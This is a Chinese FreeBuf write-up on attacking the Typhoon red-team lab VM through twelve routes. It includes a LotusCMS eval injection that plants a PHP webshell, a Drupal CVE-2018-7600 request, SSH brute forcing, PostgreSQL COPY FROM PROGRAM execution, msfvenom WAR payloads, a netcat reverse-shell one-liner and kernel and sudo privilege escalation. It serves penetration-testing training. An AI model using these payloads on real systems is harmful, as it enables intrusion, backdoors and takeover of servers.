freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透靶场Typhoon的十二种攻击姿势
2024-02-02 09:24:01

环境

靶机:192.168.238.146

kali:192.168.238.139

信息收集

主机检测

存活主机检测的方式有很多种,这里简单介绍三种作者最常用的

arp-scan -l

netdiscover -i eth0 -r 192.168.238.0/24

nmap -sP 192.168.238.0/24

端口扫描

nmap -A -p- 192.168.238.146

目录扫描

dirsearch -u 192.168.238.146

漏洞利用

80端口(lotuscms 远程代码执行)

老规矩,先从80端口看起,访问之后没啥发现,点击功能点之后跳转其他页面

目录扫描后发现/cms,访问后发现是个lotuscms页面

这玩意可太熟了,当初审计源码的时候看得我脑瓜子疼

我记得这个版本的lotuscms还有个文件包含来着,但是这个靶场好像没有,这里简单说一下这个远程代码执行漏洞的产生原理

if(file_exists("core/plugs/".$plugin."Starter.php")){

//Include Page fetcher

include("core/plugs/".$plugin."Starter.php");

//Fetch the page and get over loading cache etc...

eval("new ".$plugin."Starter('".$page."');");

}

根据源码可知需要满足core/plugs/".$plugin."Starter.php 才能执行eval,而$page是可控的,我们通过$page构造payload

http://192.168.238.146/index.php?page=index');phpinfo();//

这样eval执行的代码就为

new PageStarter('index');phpinfo();//'); //由于$plugin没有执行,所以默认为Page,所以执行的就是PageStarter()

该语句首先使index')与前面的括号闭合,后面的//将'注释,这样就导致我们可以通过修改$page参数实现代码执行

http://192.168.238.146/index.php?page=index');system(id);//

代码执行写入一句话木马

http://192.168.238.146/cms/index.php?page=index%27);fputs(fopen(%27webshell.php%27,%27w+%27),%27%3C?php%20@eval($_REQUEST[cms])?%3E%27);//

蚁剑连接

也可以用msf拿shell

80端口(drupal 远程代码执行)

前面目录扫描扫到了/drupal,访问发现果然是drupal

这个cms也是老朋友了,查看版本为drupal 8,该版本存在远程命令执行(CVE-2018-7600)

poc

POST /drupal/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: 192.168.238.146

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://192.168.238.146/drupal/user/login

Connection: close

Cookie: PHPSESSID=e4bipcv4mmvip75aqcqmg5hnd3

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

上msf梭哈getshell

80端口(mongoadmin)

访问robots.txt

访问该路径,发现是MongoDB数据库的webui管理页面,点击change database->creds发现用户名账号密码

试了一下,发现能成功登上ssh

22端口(openssh 用户枚举)

80端口没啥可利用的了,接下来看22端口,经端口扫描检测出openssh版本号

用searchspliot查找一下漏洞,发现能用的只有用户枚举

漏洞利用可以使用msf也可以利用脚本,个人比较习惯msf,成功跑出用户名admin

接下来就简单了,hydra成功爆破出密码

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.238.146 ssh

ssh登录,登录成功

25端口(smtp 用户枚举)

经端口扫描可知smtp版本为Postfix smtpd,且VRFY方法可用

可以用smtp-user-enum枚举用户名

<!--smtp-user-enum-->

<!--通过SMTP服务发现目标系统帐号( Unix、Linux、 Solaris )-->

<!--枚举方法-->

<!--VRFY :验证邮箱是否存在-->

<!--EXPN :验证邮箱列表是否存在-->

<!--RCPT TO :指定收件人地址-->

<!--格式-->

<!--smtp-user-enum options (-u name|-U file) (-t host|-T file)-->

<!--参数-->

<!---m 并发进程数-->

<!---M 验证帐号的方法(默认VRFY )-->

<!---f addr 用于RCPT TO方法,指定发件人地址(默认user@example.com)-->

<!---p port SMTP服务端口-->

<!---t 等待响应的超时时间(默认5秒)-->

但是很奇怪,不知道为啥我的smtp-user-enum啥都爆不出

没办法,还是得上msf

爆出用户名之后步骤和上面ssh一样,可以用hydra或者medusa爆破密码,然后ssh登录,这里就不多赘述了

外网打点-53端口(webcalendar)

端口扫描得知肯定是存在域的

用dmitry进行域名探测,将探测出的域名加入到hosts文件中

访问该域名,发现是个webcalendar页面

用searchspliot查找相关版本漏洞

发现msf可利用该exp,那就简单了

111/2049端口(网络共享文件渗透)

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样

利用msf查看靶机挂载的目录是什么

将靶机挂载的目录挂载到我新建的目录下,发现一个secret文件,查看获取flag

mount -t nfs 192.168.238.146:/typhoon /root/typhoon

139/445端口(linux永恒之蓝 CVE-2017-7494)

看到靶机开放了139和445端口,且Samba版本号为4.1,当即就想到linux版永恒之蓝(CVE-2017-7494),该漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本

msf搜索CVE-2017-7494

利用该模块成功获取shell,而且还是root权限

除了可以利用永恒之蓝,还可以进行远程挂载

用enum4linux枚举目标共享信息,发现允许空用户名密码登录,且共享文件typhoon

enum4linux 192.168.238.146

将其挂载到新建的目录下

5432端口(postgresql 高权限命令执行)

发现开放了postgresql数据库的端口号5432

上msf爆破账号密码

登录postgresql

postgresql版本号为9.3.4,百度一波发现存在高权限命令执行漏洞(CVE-2019-9193)

漏洞利用

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

开启监听端口

注意,在反弹shell的时候需要将命令进行编码,不然会报错

成功反弹shell

也可以用写入一句话木马的方式获取shell

DROP TABLE if EXISTS wooyun;

CREATE TABLE wooyun (t TEXT);

INSERT INTO wooyun(t) VALUES ('hello');

COPY wooyun(t) TO '/tmp/test';

蚁剑连接

6379(redis 未授权访问)

发现开放6379端口,立刻想到redis的未授权访问

尝试直接写入一句话

结果发现蚁剑连不上,用前面留下的后门进去看看,结果发现写进的马没有执行权限

然后又试了ssh免密登录,计划任务反弹shell,都失败了

脑瓜子疼,没办法。。。只能当脚本小子了

8080端口(tomcat 部署war包)

tomcat的漏洞应该说是大家比较熟悉的,弱口令tomcat/tomcat登录后台

msfvenom生成war木马

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.238.146 LPORT=5555 -f war -o tomcat.war

在后台deploy处提交war包

查看war包内的恶意代码文件

7z l tomcat.war

开启监听端口

访问byghjflgrawmw.jsp,成功反弹shell

也可以利用msf来getshell

shellshock(破壳漏洞)

这个漏洞是用nitko扫出来的

nikto -h 192.168.238.146

利用msf的exploit/multi/http/apache_mod_cgi_bash_env_exec模块可以拿到shell

提权

内核提权

查看内核版本

uname -a

searchspliot查找相关内核版本漏洞

下载exp到kali

searchsploit -m linux/local/37292.c

接下来就很简单了,kali开启http服务,靶机下载exp,这里注意要切换到/tmp目录下,否则没有权限下载

<!--/tmp和/var/tmp目录供所有用户暂时存取文件,即每位用户皆有完整的权限进入该目录,去浏览、删除和移动文件-->

编译exp,运行之后提权成功

sudo提权

尝试了一下,发现admin用户能执行sudo任意命令

<!--第一个ALL代表该用户可以用任何用户的身份执行sudo。-->

<!--第二个ALL代表该用户可以执行任何命令-->

尝试提权

配置不当提权

在/tab目录下有一个所有者为root且权限为777的文件

用msfvenom生成bash代码

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.238.139 lport=5555 W

将生成的bash恶意代码输入到script.sh文件中

echo 'mkfifo /tmp/zqol; nc 192.168.238.139 5555 0</tmp/zqol | /bin/sh >/tmp/zqol 2>&1; rm /tmp/zqol' > script.sh

开启监听端口

执行脚本

成功反弹shell

# 渗透测试 # 数据安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者